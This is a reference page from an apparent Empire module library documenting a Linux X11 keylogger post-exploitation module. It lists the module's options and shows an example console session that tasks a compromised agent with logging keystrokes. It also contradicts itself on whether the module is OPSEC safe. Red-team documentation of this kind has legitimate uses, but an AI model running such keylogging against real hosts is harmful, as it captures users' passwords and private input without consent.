Keylog - Empire Module


This page contains detailed information about how to use the python/collection/linux/xkeylogger Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Keylog
Module: python/collection/linux/xkeylogger
Source code: empire/server/modules/python/collection/linux/xkeylogger.yaml
MITRE ATT&CK: T1056
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: Yes

X userland keylogger based on pupy.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the xkeylogger module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the xkeylogger module:

Agent
Agent to keylog.

Xkeylogger Example Usage

Here's an example of how to use the xkeylogger module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/collection/linux/xkeylogger

 Author       Nikaiw                                                
 Background   True                                                  
 Comments     WIP, might miss some keys, can't kill agent sometimes 
 Description  X userland keylogger based on pupy                    
 Language     python                                                
 Name         python/collection/linux/xkeylogger                    
 NeedsAdmin   False                                                 
 OpsecSafe    True                                                  
 Techniques   http://attack.mitre.org/techniques/T1056              


,Record Options-,----------,------------------,
| Name  | Value | Required | Description      |
|-------|-------|----------|------------------|
| Agent |       | True     | Agent to keylog. |
'-------'-------'----------'------------------'

(Empire: usemodule/python/collection/linux/xkeylogger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/linux/xkeylogger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • Nikaiw

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.